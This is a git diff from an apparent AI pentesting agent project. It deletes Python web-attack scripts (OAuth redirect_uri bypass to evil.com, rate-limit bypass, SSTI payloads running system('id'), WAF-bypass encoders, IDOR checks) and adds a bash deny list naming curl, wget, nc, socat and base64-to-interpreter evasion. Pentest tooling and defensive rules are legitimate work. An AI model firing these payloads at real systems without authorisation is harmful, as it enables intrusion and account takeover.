{resp_a_own['length']} bytes)" - elif resp_b_cross["status"] == 200 and resp_a_own["status"] in [401, 403]: - is_idor = True - reason = f"Account B got 200 but Account A got {resp_a_own['status']} — possible privilege escalation" - - result = { - "endpoint": endpoint, - "idor_detected": is_idor, - "reason": reason, - "account_a": {"status": resp_a_own["status"], "length": resp_a_own.get("length", 0)}, - "account_b_cross": {"status": resp_b_cross["status"], "length": resp_b_cross.get("length", 0)}, - } - results.append(result) - - if not args.json_output: - icon = "[IDOR!]" if is_idor else "[SAFE] " - print(f"{icon} {endpoint}") - print(f" A(own): {resp_a_own['status']} ({resp_a_own.get('length', 0)}b)") - print(f" B(cross): {resp_b_cross['status']} ({resp_b_cross.get('length', 0)}b)") - if is_idor: - print(f" Reason: {reason}") - print() - - idor_count = sum(1 for r in results if r["idor_detected"]) - - if args.json_output: - print(json.dumps({"total": len(results), "idor_found": idor_count, "results": results}, indent=2)) - else: - print(f"{'='*70}") - print(f"RESULTS: {idor_count}/{len(results)} endpoints vulnerable to IDOR") - if idor_count > 0: - print(f"\nVulnerable endpoints:") - for r in results: - if r["idor_detected"]: - print(f" - {r['endpoint']}: {r['reason']}") - -if __name__ == "__main__": - main() diff --git a/packages/cyberstrike/data/scripts/oauth_tester.py b/packages/cyberstrike/data/scripts/oauth_tester.py deleted file mode 100644 index 91ea4b14b..000000000 --- a/packages/cyberstrike/data/scripts/oauth_tester.py +++ /dev/null @@ -1,118 +0,0 @@ -#!/usr/bin/env python3 -"""OAuth 2.0 vulnerability tester — redirect_uri bypass, state manipulation, scope escalation.""" -import argparse -import requests -import json -import sys -import urllib.parse -import urllib3 -urllib3.disable_warnings() - -def test_redirect_uri(auth_url, client_id, redirect_uri): - """Test redirect_uri manipulation for open redirect → token theft.""" - variants = [ - redirect_uri, - redirect_uri + ".evil.com", - redirect_uri + "@evil.com", - redirect_uri + "%40evil.com", - redirect_uri + "/../../../evil.com", - "https://evil.com?" + redirect_uri, - "https://evil.com#" + redirect_uri, - "https://evil.com/." + urllib.parse.urlparse(redirect_uri).hostname, - redirect_uri.replace("https://", "http://"), - redirect_uri + "///evil.com", - redirect_uri.rstrip("/") + ".evil.com/callback", - "https://" + urllib.parse.urlparse(redirect_uri).hostname + ".evil.com", - redirect_uri + "%23@evil.com", - redirect_uri + "?next=https://evil.com", - redirect_uri + "/../../evil.com", - ] - results = [] - for uri in variants: - try: - params = {"response_type": "code", "client_id": client_id, "redirect_uri": uri, "scope": "openid"} - resp = requests.get(auth_url, params=params, allow_redirects=False, verify=False, timeout=10) - accepted = resp.status_code in [302, 303, 307] and uri in resp.headers.get("Location", "") - error_page = resp.status_code == 200 and "error" not in resp.text.lower() - result = {"redirect_uri": uri, "status": resp.status_code, "accepted": accepted or error_page, - "location": resp.headers.get("Location", "")[:200]} - results.append(result) - icon = "[VULN!]" if result["accepted"] else "[SAFE] " - print(f" {icon} {uri[:80]}") - if result["accepted"]: - print(f" → Location: {result['location'][:100]}") - except Exception as e: - results.append({"redirect_uri": uri, "error": str(e)}) - return results - -def test_state_param(auth_url, client_id, redirect_uri): - """Test state parameter handling — reuse, empty, missing.""" - tests = [ - ("missing", {}), - ("empty", {"state": ""}), - ("fixed_value", {"state": "aaa"}), - ("reuse_old", {"state": "previously_used_state_12345"}), - ("xss_payload", {"state": ""}), - ] - results = [] - for name, extra_params in tests: - try: - params = {"response_type": "code", "client_id": client_id, "redirect_uri": redirect_uri, "scope": "openid", **extra_params} - resp = requests.get(auth_url, params=params, allow_redirects=False, verify=False, timeout=10) - accepted = resp.status_code in [302, 303, 307, 200] - result = {"test": name, "status": resp.status_code, "accepted": accepted} - results.append(result) - icon = "[WARN]" if accepted and name != "fixed_value" else "[OK] " - print(f" {icon} state={name} → {resp.status_code}") - except Exception as e: - results.append({"test": name, "error": str(e)}) - return results - -def test_scope_escalation(auth_url, client_id, redirect_uri): - """Test scope escalation — request more permissions than allowed.""" - scopes = [ - "openid", "openid profile", "openid profile email", - "admin", "read write delete", "openid admin", - "openid offline_access", "*", "openid user:admin", - "openid profile email phone address", - ] - results = [] - for scope in scopes: - try: - params = {"response_type": "code", "client_id": client_id, "redirect_uri": redirect_uri, "scope": scope} - resp = requests.get(auth_url, params=params, allow_redirects=False, verify=False, timeout=10) - accepted = resp.status_code in [302, 303, 307, 200] and "error" not in resp.text.lower()[:500] - result = {"scope": scope, "status": resp.status_code, "accepted": accepted} - results.append(result) - icon = "[VULN!]" if accepted and scope in ["admin", "*", "read write delete"] else "[OK] " - print(f" {icon} scope={scope} → {resp.status_code}") - except Exception as e: - results.append({"scope": scope, "error": str(e)}) - return results - -def main(): - parser = argparse.ArgumentParser(description="OAuth 2.0 vulnerability tester") - parser.add_argument("auth_url", help="Authorization endpoint URL") - parser.add_argument("--client-id", required=True, help="OAuth client_id") - parser.add_argument("--redirect-uri", required=True, help="Legitimate redirect_uri") - parser.add_argument("--json-output", action="store_true") - args = parser.parse_args() - - all_results = {} - print(f"\nOAuth Vulnerability Test: {args.auth_url}") - print(f"{'='*60}\n") - - print("[1] Redirect URI Bypass Tests:") - all_results["redirect_uri"] = test_redirect_uri(args.auth_url, args.client_id, args.redirect_uri) - - print(f"\n[2] State Parameter Tests:") - all_results["state"] = test_state_param(args.auth_url, args.client_id, args.redirect_uri) - - print(f"\n[3] Scope Escalation Tests:") - all_results["scope"] = test_scope_escalation(args.auth_url, args.client_id, args.redirect_uri) - - if args.json_output: - print(json.dumps(all_results, indent=2)) - -if __name__ == "__main__": - main() diff --git a/packages/cyberstrike/data/scripts/rate_limit_bypass.py b/packages/cyberstrike/data/scripts/rate_limit_bypass.py deleted file mode 100644 index 8b1270be3..000000000 --- a/packages/cyberstrike/data/scripts/rate_limit_bypass.py +++ /dev/null @@ -1,158 +0,0 @@ -#!/usr/bin/env python3 -"""Rate limit bypass tester — X-Forwarded-For rotation, case variation, method switching.""" -import argparse -import requests -import json -import sys -import random -import time -import urllib3 -urllib3.disable_warnings() - -def generate_random_ip(): - return f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}" - -def test_xff_bypass(url, method, headers, data, count=20): - """Test if X-Forwarded-For header bypasses rate limiting.""" - results = {"success": 0, "blocked": 0, "errors": 0} - for i in range(count): - ip = generate_random_ip() - h = {**headers, "X-Forwarded-For": ip, "X-Real-IP": ip, - "X-Originating-IP": ip, "X-Client-IP": ip} - try: - resp = requests.request(method, url, headers=h, json=data, verify=False, timeout=10) - if resp.status_code == 429: - results["blocked"] += 1 - else: - results["success"] += 1 - except: - results["errors"] += 1 - bypassed = results["success"] == count - print(f" {'[BYPASS!]' if bypassed else '[SAFE] '} X-Forwarded-For rotation: {results['success']}/{count} succeeded") - return {"technique": "xff_rotation", "bypassed": bypassed, **results} - -def test_case_variation(url, method, headers, data, count=10): - """Test if URL case variation bypasses rate limiting.""" - import urllib.parse - parsed = urllib.parse.urlparse(url) - results = {"success": 0, "blocked": 0} - for i in range(count): - path = "".join(c.upper() if random.random() > 0.5 else c.lower() for c in parsed.path) - varied_url = f"{parsed.scheme}://{parsed.netloc}{path}" - if parsed.query: - varied_url += f"?{parsed.query}" - try: - resp = requests.request(method, varied_url, headers=headers, json=data, verify=False, timeout=10) - if resp.status_code == 429: - results["blocked"] += 1 - else: - results["success"] += 1 - except: - pass - bypassed = results["success"] == count - print(f" {'[BYPASS!]' if bypassed else '[SAFE] '} Case variation: {results['success']}/{count} succeeded") - return {"technique": "case_variation", "bypassed": bypassed, **results} - -def test_method_switching(url, headers, data): - """Test if different HTTP methods bypass rate limiting.""" - methods = ["GET", "POST", "PUT", "PATCH", "DELETE", "HEAD", "OPTIONS"] - results = [] - for m in methods: - try: - resp = requests.request(m, url, headers=headers, json=data if m != "GET" else None, verify=False, timeout=10) - blocked = resp.status_code == 429 - results.append({"method": m, "status": resp.status_code, "blocked": blocked}) - icon = "[BLOCK]" if blocked else "[OK] " - print(f" {icon} {m:8s} → {resp.status_code}") - except: - pass - return {"technique": "method_switching", "results": results} - -def test_query_param_bypass(url, method, headers, data, count=10): - """Test if adding random query params bypasses rate limiting.""" - results = {"success": 0, "blocked": 0} - for i in range(count): - sep = "&" if "?" in url else "?" - varied_url = f"{url}{sep}_cache={random.randint(100000,999999)}&_t={int(time.time())}" - try: - resp = requests.request(method, varied_url, headers=headers, json=data, verify=False, timeout=10) - if resp.status_code == 429: - results["blocked"] += 1 - else: - results["success"] += 1 - except: - pass - bypassed = results["success"] == count - print(f" {'[BYPASS!]' if bypassed else '[SAFE] '} Random query params: {results['success']}/{count} succeeded") - return {"technique": "query_params", "bypassed": bypassed, **results} - -def test_header_variations(url, method, headers, data, count=10): - """Test various header-based bypass techniques.""" - bypass_headers = [ - {"X-Forwarded-For": "127.0.0.1"}, - {"X-Forwarded-Host": "localhost"}, - {"X-Custom-IP-Authorization": "127.0.0.1"}, - {"X-Original-URL": "/"}, - {"X-Rewrite-URL": "/"}, - {"Content-Length": "0"}, - ] - results = [] - for bh in bypass_headers: - try: - h = {**headers, **bh} - resp = requests.request(method, url, headers=h, json=data, verify=False, timeout=10) - bypassed = resp.status_code != 429 - key = list(bh.keys())[0] - results.append({"header": key, "value": bh[key], "status": resp.status_code, "bypassed": bypassed}) - icon = "[BYPASS!]" if bypassed else "[SAFE] " - print(f" {icon} {key}: {bh[key]} → {resp.status_code}") - except: - pass - return {"technique": "header_variations", "results": results} - -def main(): - parser = argparse.ArgumentParser(description="Rate limit bypass tester") - parser.add_argument("url", help="Target URL") - parser.add_argument("--method", default="POST", help="HTTP method") - parser.add_argument("-H", "--header", action="append", default=[]) - parser.add_argument("-d", "--data", default=None, help="Request body JSON") - parser.add_argument("--count", type=int, default=10, help="Requests per test") - parser.add_argument("--json-output", action="store_true") - args = parser.parse_args() - - headers = {"User-Agent": "Mozilla/5.0", "Content-Type": "application/json"} - for h in args.header: - k, v = h.split(":", 1) - headers[k.strip()] = v.strip() - data = json.loads(args.data) if args.data else None - - print(f"\nRate Limit Bypass Tester: {args.url}") - print(f"Method: {args.method} | Requests per test: {args.count}") - print(f"{'='*60}\n") - - all_results = [] - - print("[1] X-Forwarded-For Rotation:") - all_results.append(test_xff_bypass(args.url, args.method, headers, data, args.count)) - - print(f"\n[2] Case Variation:") - all_results.append(test_case_variation(args.url, args.method, headers, data, args.count)) - - print(f"\n[3] HTTP Method Switching:") - all_results.append(test_method_switching(args.url, headers, data)) - - print(f"\n[4] Random Query Parameters:") - all_results.append(test_query_param_bypass(args.url, args.method, headers, data, args.count)) - - print(f"\n[5] Header Variations:") - all_results.append(test_header_variations(args.url, args.method, headers, data, args.count)) - - bypasses = [r for r in all_results if r.get("bypassed")] - print(f"\n{'='*60}") - print(f"Results: {len(bypasses)} bypass techniques found") - - if args.json_output: - print(json.dumps({"url": args.url, "results": all_results}, indent=2)) - -if __name__ == "__main__": - main() diff --git a/packages/cyberstrike/data/scripts/response_diff.py b/packages/cyberstrike/data/scripts/response_diff.py deleted file mode 100644 index 4fd1715c8..000000000 --- a/packages/cyberstrike/data/scripts/response_diff.py +++ /dev/null @@ -1,80 +0,0 @@ -#!/usr/bin/env python3 -"""Response diff — compare two HTTP responses to detect access control differences.""" -import argparse -import requests -import json -import difflib -import sys -import urllib3 -urllib3.disable_warnings() - -def fetch(url, headers=None, method="GET", data=None): - h = {"User-Agent": "Mozilla/5.0"} - if headers: - for kv in headers: - k, v = kv.split(":", 1) - h[k.strip()] = v.strip() - try: - resp = requests.request(method, url, headers=h, json=data, verify=False, timeout=15) - return { - "status": resp.status_code, - "headers": dict(resp.headers), - "body": resp.text, - "length": len(resp.text), - } - except Exception as e: - return {"status": 0, "error": str(e), "body": "", "headers": {}, "length": 0} - -def main(): - parser = argparse.ArgumentParser(description="HTTP response diff tool") - parser.add_argument("url", help="URL to test") - parser.add_argument("--header-a", action="append", default=[], help="Headers for request A") - parser.add_argument("--header-b", action="append", default=[], help="Headers for request B") - parser.add_argument("--method", default="GET") - parser.add_argument("--data", default=None, help="JSON body") - parser.add_argument("--json-output", action="store_true") - args = parser.parse_args() - - data = json.loads(args.data) if args.data else None - - print(f"Fetching response A...") - resp_a = fetch(args.url, args.header_a, args.method, data) - print(f"Fetching response B...") - resp_b = fetch(args.url, args.header_b, args.method, data) - - diff = { - "url": args.url, - "status_match": resp_a["status"] == resp_b["status"], - "length_match": resp_a["length"] == resp_b["length"], - "a": {"status": resp_a["status"], "length": resp_a["length"]}, - "b": {"status": resp_b["status"], "length": resp_b["length"]}, - } - - if args.json_output: - # Add body diff - a_lines = resp_a["body"].splitlines(keepends=True) - b_lines = resp_b["body"].splitlines(keepends=True) - delta = list(difflib.unified_diff(a_lines, b_lines, fromfile="Response A", tofile="Response B", lineterm="")) - diff["body_diff"] = "".join(delta[:100]) - print(json.dumps(diff, indent=2)) - else: - print(f"\n{'='*60}") - print(f"Response A: {resp_a['status']} ({resp_a['length']} bytes)") - print(f"Response B: {resp_b['status']} ({resp_b['length']} bytes)") - print(f"Status match: {diff['status_match']}") - print(f"Length match: {diff['length_match']}") - - if not diff["status_match"]: - print(f"\n[!] Different status codes — possible access control difference") - - if resp_a["body"] != resp_b["body"]: - print(f"\n--- Body Diff ---") - a_lines = resp_a["body"].splitlines(keepends=True)[:50] - b_lines = resp_b["body"].splitlines(keepends=True)[:50] - for line in difflib.unified_diff(a_lines, b_lines, fromfile="A", tofile="B"): - print(line, end="") - else: - print(f"\n[*] Bodies are identical") - -if __name__ == "__main__": - main() diff --git a/packages/cyberstrike/data/scripts/ssti_tester.py b/packages/cyberstrike/data/scripts/ssti_tester.py deleted file mode 100644 index 27241f6be..000000000 --- a/packages/cyberstrike/data/scripts/ssti_tester.py +++ /dev/null @@ -1,113 +0,0 @@ -#!/usr/bin/env python3 -"""Server-Side Template Injection (SSTI) detection and fingerprinting.""" -import argparse -import requests -import json -import sys -import urllib3 -urllib3.disable_warnings() - -PAYLOADS = { - "math_generic": [ - ("{{7*7}}", "49"), - ("${7*7}", "49"), - ("<%= 7*7 %>", "49"), - ("#{7*7}", "49"), - ("{{7*'7'}}", "7777777"), - ("${7*7}", "49"), - ("{{config}}", "Config"), - ], - "jinja2": [ - ("{{config.items()}}", "SECRET_KEY"), - ("{{request.application.__globals__}}", "__builtins__"), - ("{{''.__class__.__mro__[1].__subclasses__()}}", "subprocess"), - ], - "freemarker": [ - ("${\"freemarker.template.utility.Execute\"?new()(\"id\")}", "uid="), - ("<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"id\")}", "uid="), - ], - "velocity": [ - ("#set($x=7*7)${x}", "49"), - ], - "twig": [ - ("{{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}", "uid="), - ], - "erb": [ - ("<%= system('id') %>", "uid="), - ("<%= 7*7 %>", "49"), - ], - "pebble": [ - ('{% set cmd = "id" %}{% set bytes = (1).TYPE.forName("java.lang.Runtime").methods[6].invoke(null,null).exec(cmd) %}', "uid="), - ], -} - -def test_param(url, param, method, headers, payloads_dict, data=None): - results = [] - for category, payloads in payloads_dict.items(): - for payload, expected in payloads: - try: - if method.upper() == "GET": - test_url = url.replace(f"{param}=FUZZ", f"{param}={requests.utils.quote(payload)}") - if "FUZZ" not in url: - sep = "&" if "?" in url else "?" - test_url = f"{url}{sep}{param}={requests.utils.quote(payload)}" - resp = requests.get(test_url, headers=headers, verify=False, timeout=10) - else: - body = data.copy() if data else {} - body[param] = payload - resp = requests.post(url, json=body, headers=headers, verify=False, timeout=10) - - detected = expected.lower() in resp.text.lower() - result = { - "category": category, - "payload": payload, - "expected": expected, - "detected": detected, - "status": resp.status_code, - "response_preview": resp.text[:200] if detected else "", - } - results.append(result) - if detected: - print(f" [VULN!] {category}: {payload} → found '{expected}' in response") - print(f" Response: {resp.text[:150]}") - except Exception as e: - results.append({"payload": payload, "error": str(e)}) - return results - -def main(): - parser = argparse.ArgumentParser(description="SSTI detection and fingerprinting") - parser.add_argument("url", help="Target URL (use FUZZ as placeholder or specify --param)") - parser.add_argument("--param", default="q", help="Parameter name to inject into") - parser.add_argument("--method", default="GET", help="HTTP method") - parser.add_argument("--data", default=None, help="POST body JSON") - parser.add_argument("-H", "--header", action="append", default=[]) - parser.add_argument("--json-output", action="store_true") - parser.add_argument("--quick", action="store_true", help="Only test generic math payloads") - args = parser.parse_args() - - headers = {"User-Agent": "Mozilla/5.0"} - for h in args.header: - k, v = h.split(":", 1) - headers[k.strip()] = v.strip() - - data = json.loads(args.data) if args.data else None - test_payloads = {"math_generic": PAYLOADS["math_generic"]} if args.quick else PAYLOADS - - print(f"\nSSTI Detection: {args.url}") - print(f"Parameter: {args.param} | Method: {args.method}") - print(f"{'='*60}\n") - - results = test_param(args.url, args.param, args.method, headers, test_payloads, data) - - vulns = [r for r in results if r.get("detected")] - print(f"\n{'='*60}") - print(f"Results: {len(vulns)}/{len(results)} payloads triggered") - if vulns: - engines = set(r["category"] for r in vulns) - print(f"Likely template engine: {', '.join(engines)}") - - if args.json_output: - print(json.dumps({"url": args.url, "param": args.param, "vulnerabilities": vulns, "total_tests": len(results)}, indent=2)) - -if __name__ == "__main__": - main() diff --git a/packages/cyberstrike/data/scripts/waf_bypass.py b/packages/cyberstrike/data/scripts/waf_bypass.py deleted file mode 100644 index b59cabf5b..000000000 --- a/packages/cyberstrike/data/scripts/waf_bypass.py +++ /dev/null @@ -1,84 +0,0 @@ -#!/usr/bin/env python3 -"""WAF bypass encoder — generate multiple encoding variants of a payload.""" -import argparse -import urllib.parse -import json -import sys - -def generate_variants(payload): - variants = { - "original": payload, - "url_encode": urllib.parse.quote(payload), - "double_url_encode": urllib.parse.quote(urllib.parse.quote(payload)), - "unicode_escape": payload.replace("<", "\\u003c").replace(">", "\\u003e").replace("'", "\\u0027").replace('"', "\\u0022"), - "html_entity_named": payload.replace("<", "<").replace(">", ">").replace('"', """).replace("'", "'"), - "html_entity_decimal": "".join(f"&#{ord(c)};" if not c.isalnum() else c for c in payload), - "html_entity_hex": "".join(f"&#x{ord(c):x};" if not c.isalnum() else c for c in payload), - "hex_encode": "".join(f"%{ord(c):02x}" for c in payload), - "mixed_case": "".join(c.upper() if i % 2 else c.lower() for i, c in enumerate(payload)), - "null_byte_prefix": "%00" + payload, - "tab_substitute": payload.replace(" ", "\t"), - "newline_substitute": payload.replace(" ", "\n"), - "slash_variants": payload.replace("/", "//").replace("/", "/./"), - } - - # XSS-specific variants - if "<" in payload or "script" in payload.lower(): - variants.update({ - "svg_onload": payload.replace("", ">"), - "img_onerror": payload.replace("", '">'), - "details_ontoggle": payload.replace("", '">'), - "body_onload": payload.replace("", '">'), - "javascript_proto": payload.replace("", ""), - "data_uri": f"data:text/html,{urllib.parse.quote(payload)}", - }) - - # SQLi-specific variants - if "'" in payload or "union" in payload.lower() or "select" in payload.lower(): - variants.update({ - "comment_bypass": payload.replace(" ", "/**/"), - "inline_comment": payload.replace("UNION", "UN/**/ION").replace("SELECT", "SEL/**/ECT"), - "case_variation": payload.replace("union", "UnIoN").replace("select", "SeLeCt"), - "hex_strings": payload, # placeholder — real impl depends on DB - }) - - return variants - -def main(): - parser = argparse.ArgumentParser(description="WAF bypass encoder") - parser.add_argument("payload", help="Payload to encode") - parser.add_argument("--json-output", action="store_true", help="Output as JSON") - parser.add_argument("--test-url", default=None, help="URL to test each variant against") - parser.add_argument("--param", default="q", help="Parameter name for --test-url") - args = parser.parse_args() - - variants = generate_variants(args.payload) - - if args.json_output: - print(json.dumps(variants, indent=2)) - else: - print(f"WAF Bypass Variants for: {args.payload}") - print(f"{'='*60}") - for name, encoded in variants.items(): - print(f" {name:30s} → {encoded}") - - if args.test_url: - import requests - print(f"\n{'='*60}") - print(f"Testing against: {args.test_url}") - print(f"Parameter: {args.param}") - print(f"{'='*60}\n") - - for name, encoded in variants.items(): - try: - url = f"{args.test_url}?{args.param}={urllib.parse.quote(encoded)}" - resp = requests.get(url, verify=False, timeout=10, - headers={"User-Agent": "Mozilla/5.0"}) - blocked = resp.status_code in [403, 406, 429] or "blocked" in resp.text.lower() or "waf" in resp.text.lower() - icon = "[BLOCKED]" if blocked else "[PASSED]" - print(f" {icon} {name:30s} → {resp.status_code} ({len(resp.text)}b)") - except Exception as e: - print(f" [ERROR] {name:30s} → {e}") - -if __name__ == "__main__": - main() diff --git a/packages/cyberstrike/package.json b/packages/cyberstrike/package.json index 8347fffc1..43a7bad11 100644 --- a/packages/cyberstrike/package.json +++ b/packages/cyberstrike/package.json @@ -1,6 +1,6 @@ { "$schema": "https://json.schemastore.org/package.json", - "version": "1.1.15", + "version": "1.1.16", "name": "cyberstrike", "type": "module", "description": "The first open-source AI agent built for offensive security. Autonomous pentesting from your terminal.", diff --git a/packages/cyberstrike/src/agent/agent.ts b/packages/cyberstrike/src/agent/agent.ts index 727e0b206..f91fcc35e 100644 --- a/packages/cyberstrike/src/agent/agent.ts +++ b/packages/cyberstrike/src/agent/agent.ts @@ -57,12 +57,12 @@ import { Plugin } from "@/plugin" import { Skill } from "../skill" // ============================================================================ -// Static skill injection for vulnerability testing sub-agents +// Skill injection for vulnerability testing sub-agents // -// Vuln tester sub-agents do not have access to the `skill` tool (their -// permission is `*: deny` with a small allowlist). To give them the -// methodology they need without runtime tool calls, we statically embed -// WSTG skill content via `Skill.get()` into each agent's prompt at startup. +// Two layers: (1) static WSTG skills embedded at startup via loadVulnAgent() +// as baseline methodology, and (2) dynamic skill tool access at runtime so +// agents can discover tech-specific or CWE-specific skills when they detect +// the target's stack or need deeper methodology. // ============================================================================ // Strip defensive sections (Remediation, Risk Assessment, CWE Categories, @@ -530,6 +530,7 @@ export namespace Agent { "*": "deny", bash: "allow", webfetch: "allow", + http_replay: "allow", web_get_session_context: "allow", web_get_detail: "allow", web_get_request_detail: "allow", @@ -597,8 +598,47 @@ export namespace Agent { defaults, PermissionNext.fromConfig({ "*": "deny", - bash: "allow", - webfetch: "allow", + bash: { + // Block HTTP clients in bash — agents MUST use http_replay instead. + // This is defense-in-depth alongside the prompt mandate: old session + // history can override prompt guidance, but permission denies are absolute. + "*curl *": "deny", + "*curl.exe*": "deny", + "*wget *": "deny", + "*python*requests*": "deny", + "*python*urllib*": "deny", + "*python*aiohttp*": "deny", + "*python*httpx*": "deny", + "*python3*requests*": "deny", + "*python3*urllib*": "deny", + "*python3*aiohttp*": "deny", + "*python3*httpx*": "deny", + "*import requests*": "deny", + "*from requests *": "deny", + "*import urllib*": "deny", + "*import aiohttp*": "deny", + "*import httpx*": "deny", + // Block inline JS/TS execution — fetch() in bun/node/deno bypasses + // all Python/curl denies above. + "*bun -e*": "deny", + "*bun --eval*": "deny", + "*node -e*": "deny", + "*node --eval*": "deny", + "*deno eval*": "deny", + "*deno run*-*": "deny", + // Block raw TCP tools — can send HTTP without matching other patterns. + "* nc *": "deny", + "*ncat *": "deny", + "*socat *": "deny", + "*telnet *": "deny", + // Block base64-pipe-to-interpreter evasion pattern. + "*base64*| python*": "deny", + "*base64*| python3*": "deny", + "*base64*| bun*": "deny", + "*base64*| node*": "deny", + "*": "allow", + }, + webfetch: "deny", web_get_session_context: "allow", web_get_detail: "allow", web_get_request_detail: "allow", @@ -613,6 +653,16 @@ export namespace Agent { methodology_status: "allow", scope_check: "allow", attack_script: "allow", + skill: "allow", + // Structured replay engine — the ONLY way to send HTTP requests. + // Permission-enforced: curl/webfetch/Python HTTP denied above. + http_replay: "allow", + http_replay_raw: "allow", + web_update_credential: "allow", + credential_set_recipe: "allow", + credential_mint: "allow", + credential_validate: "allow", + csrf_extract: "allow", }), user, ) diff --git a/packages/cyberstrike/src/agent/prompt/analyzer/proxy-analyzer/prompt.txt b/packages/cyberstrike/src/agent/prompt/analyzer/proxy-analyzer/prompt.txt index ab03b4501..612a22272 100644 --- a/packages/cyberstrike/src/agent/prompt/analyzer/proxy-analyzer/prompt.txt +++ b/packages/cyberstrike/src/agent/prompt/analyzer/proxy-analyzer/prompt.txt @@ -38,12 +38,9 @@ Response processing rules: - Binary content (images, PDFs, etc.) shows `"Binary content: {type}"` - Text/XML responses follow same truncation rules as JSON -**IMPORTANT**: For JSON/text responses the body is already captured, so you typically do NOT need to re-execute the request with curl. Only use curl if you need to: -- Test with different parameters -- Verify behavior with modified headers -- Check rate limiting or timing +**IMPORTANT**: For JSON/text responses the body is already captured, so you typically do NOT need to re-fetch. Only re-fetch if you need to verify behavior with different parameters or headers. -**EXCEPTION — HTML responses (mandatory active fetch)**: an HTML response body is NOT captured — it is shown only as the `This is an HTML response` stub, which tells you NOTHING about the page's inputs. So for any `text/html` endpoint you MUST fetch the raw page with `curl`/`webfetch` and read the actual HTML for: `
`s and their `action`/`method`, every `` (including `type=hidden`), `